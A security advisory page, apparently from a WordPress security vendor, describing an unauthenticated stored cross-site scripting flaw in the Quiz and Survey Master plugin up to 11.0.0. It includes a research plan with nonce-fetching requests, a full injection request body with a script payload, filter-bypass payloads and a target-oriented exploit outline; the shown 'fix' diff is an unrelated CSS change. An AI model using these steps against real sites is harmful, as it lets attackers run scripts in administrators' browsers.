Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker <= 11.0.0 - Unauthenticated Stored Cross-Site Scripting
Description
The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 11.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=11.0.0What Changed in the Fix
Changes introduced in v11.1.0
Source Code
WordPress.org SVNThis plan outlines the research and exploitation process for CVE-2026-40787, a Stored Cross-Site Scripting (XSS) vulnerability in the Quiz and Survey Master (QSM) plugin for WordPress. ### 1. Vulnerability Summary The Quiz and Survey Master (QSM) plugin (up to version 11.0.0) fails to properly sani…
Show full research plan
This plan outlines the research and exploitation process for CVE-2026-40787, a Stored Cross-Site Scripting (XSS) vulnerability in the Quiz and Survey Master (QSM) plugin for WordPress.
1. Vulnerability Summary
The Quiz and Survey Master (QSM) plugin (up to version 11.0.0) fails to properly sanitize and escape user-supplied data during quiz submission. Specifically, contact information (like Name or Email) provided by unauthenticated users during a quiz is stored in the database and subsequently rendered in the administrative "Results" dashboard without sufficient output escaping. This allows an unauthenticated attacker to inject arbitrary JavaScript that executes in the context of an administrator viewing the quiz results.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Actions:
qsm_create_quiz_nonce(to obtain a submission nonce)qmn_submit_quiz(to submit the payload)
- Vulnerable Parameter:
primary_contact_name(or other contact fields likename,email,v_name, depending on quiz configuration). - Authentication: None (Unauthenticated).
- Preconditions: A quiz must exist and have contact fields (Name/Email) enabled.
3. Code Flow
- Entry Point: The unauthenticated user interacts with a quiz on the frontend.
- Nonce Acquisition: The frontend script
js/qsm-quiz.jscalls the AJAX actionqsm_create_quiz_nonceto fetch anonceandunique_keyfor the current quiz session. - Submission: The user submits the quiz. This sends a POST request to
admin-ajax.phpwithaction=qmn_submit_quiz. - Storage: The plugin processes the submission. The values in contact fields (e.g.,
primary_contact_name) are saved to the{$wpdb->prefix}mlw_resultstable. - Sink: An administrator visits the "Results" page (
/wp-admin/admin.php?page=mlw_quiz_results). The plugin retrieves the records from themlw_resultstable and echoes the user's name/email. - Lack of Escaping: If the output logic (likely in
php/admin/admin-results-page.phpor a similar result-rendering component) uses rawechoor insufficientwp_kses_poston the stored name, the XSS payload executes.
4. Nonce Acquisition Strategy
The plugin provides a dedicated AJAX action for unauthenticated users to generate a submission nonce.
- Identify Shortcode: The plugin uses
[qsm quiz=ID]to render quizzes. - Create Test Page: Use
wp-clito create a page with a quiz shortcode. - Extract Data: Navigate to the page and identify the
quiz_id. - Fetch Nonce:
- The
js/qsm-quiz.jsfile (lines 44-53) demonstrates how to fetch the nonce:jQuery.ajax({ url: qmn_ajax_object.ajaxurl, data: { action: "qsm_create_quiz_nonce", quiz_id: quizID, }, type: 'POST', success: function (response) { ... } }); - Agent Action: Use the
http_requesttool to calladmin-ajax.php?action=qsm_create_quiz_nonce&quiz_id=[ID]. - Response Format: The response will be JSON:
{"success":true,"data":{"nonce":"[NONCE_VALUE]","unique_key":"[KEY_VALUE]"}}.
- The
5. Exploitation Strategy
- Setup Quiz: Use
wp-clito create a quiz and ensure contact fields are enabled. - Get Nonce: Perform the POST request to
qsm_create_quiz_nonceto get a validnonceandunique_key. - Perform Injection: Submit the quiz result with the XSS payload.
- Request:
POST /wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=qmn_submit_quiz &quiz_id=1 &nonce=[NONCE] &unique_key=[UNIQUE_KEY] &primary_contact_name=<script>alert(document.domain)</script> &primary_contact_email=attacker@example.com &timer=10 &qmn_question_list= - Note: If the quiz has questions, you may need to include dummy answers (e.g.,
v_1=answer1) corresponding to the question IDs.
- Request:
- Trigger Payload: Log in as an administrator and navigate to
/wp-admin/admin.php?page=mlw_quiz_results.
6. Test Data Setup
- Create Quiz:
wp eval " global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}mlw_quizzes\", array( 'quiz_name' => 'XSS Test Quiz', 'quiz_taken' => 0, 'deleted' => 0 )); echo 'Quiz ID: ' . \$wpdb->insert_id; " - Enable Contact Fields: Ensure the quiz is configured to ask for Name and Email. This is stored in quiz options.
# Setting the options for the quiz (inferred option structure) wp post create --post_type=page --post_title="Quiz Page" --post_content='[qsm quiz=1]' --post_status=publish
7. Expected Results
- The
qmn_submit_quizrequest should return a success message (often a JSON response with a redirect URL or a "Success" message). - The payload
<script>alert(document.domain)</script>should be stored in the database in themlw_resultstable. - When the admin views the results page, a browser alert showing the domain name should appear.
8. Verification Steps
- Database Check:
Confirm that thewp db query "SELECT name, email FROM wp_mlw_results ORDER BY result_id DESC LIMIT 1"namecolumn contains the raw<script>tag. - Admin UI Check:
Usebrowser_navigateto/wp-admin/admin.php?page=mlw_quiz_results(authenticated as admin) and check for the execution of the alert.
9. Alternative Approaches
- Question Injection: If
primary_contact_nameis sanitized, try injecting into the answer fields of "Open Answer" question types (Question Type ID 3). - Parameter variations: Try parameters like
v_nameornameifprimary_contact_nameis not accepted, as different versions of QSM use different naming conventions for contact fields. - Bypassing
wp_kses_post: Ifwp_kses_postis used, try event handlers on allowed tags:<img src=x onerror=alert(1)><details open ontoggle=alert(1)>(Allowed by many KSES configurations).
Summary
The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) via quiz contact fields like 'Name' and 'Email'. This occurs because user-supplied data is saved to the database without sufficient sanitization and subsequently rendered in the administrative dashboard without proper output escaping, allowing an attacker to execute arbitrary scripts in an administrator's browser.
Vulnerable Code
// js/qsm-quiz.js:31-41 // Unauthenticated users can trigger nonce generation for quiz submission jQuery.ajax({ url: qmn_ajax_object.ajaxurl, data: { action: "qsm_create_quiz_nonce", quiz_id: quizID, }, type: 'POST', success: function (response) { jQuery('.qsm-quiz-container-' + quizID + ' #qsm_unique_key_'+quizID).val(response.data.unique_key); jQuery('.qsm-quiz-container-' + quizID + ' #qsm_nonce_'+quizID).val(response.data.nonce); } }); --- // mlw_quizmaster2.php:200-207 // The plugin's custom sanitization helper uses wp_kses_post which may be insufficient for specific contexts // or bypassed if not applied to all stored contact fields. public function sanitize_html( $html = '', $kses = true ) { if ( empty( $html ) ) { return $html; } return $kses ? wp_kses_post( $html ) : sanitize_text_field( $html ); }
Security Fix
@@ -1589,7 +1589,8 @@ .qsm-switch-slider.round:before { border-radius: 50%; } -input#sc-shortcode-model-text, input#sc-shortcode-model-text-link { +input#sc-shortcode-model-text, input#sc-shortcode-model-text-link, +input#sc-embed-iframe-text{ theght: 30px; } div#modal-6 label { ... (truncated)
Exploit Outline
1. Identify a target WordPress site running QSM <= 11.0.0 and locate a page containing a quiz shortcode. 2. Obtain a valid submission nonce and unique session key by sending a POST request to `/wp-admin/admin-ajax.php` with the action `qsm_create_quiz_nonce` and the `quiz_id` of the target quiz. 3. Construct a malicious quiz submission payload targeting contact fields. For example, set the `primary_contact_name` parameter to an XSS payload like `<script>alert(document.domain)</script>`. 4. Submit the payload via a POST request to `/wp-admin/admin-ajax.php` using the `qmn_submit_quiz` action, including the previously acquired nonce and unique key. 5. Wait for an administrator to log in and view the quiz results at `/wp-admin/admin.php?page=mlw_quiz_results` or via the dashboard widgets, which will trigger the execution of the injected script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.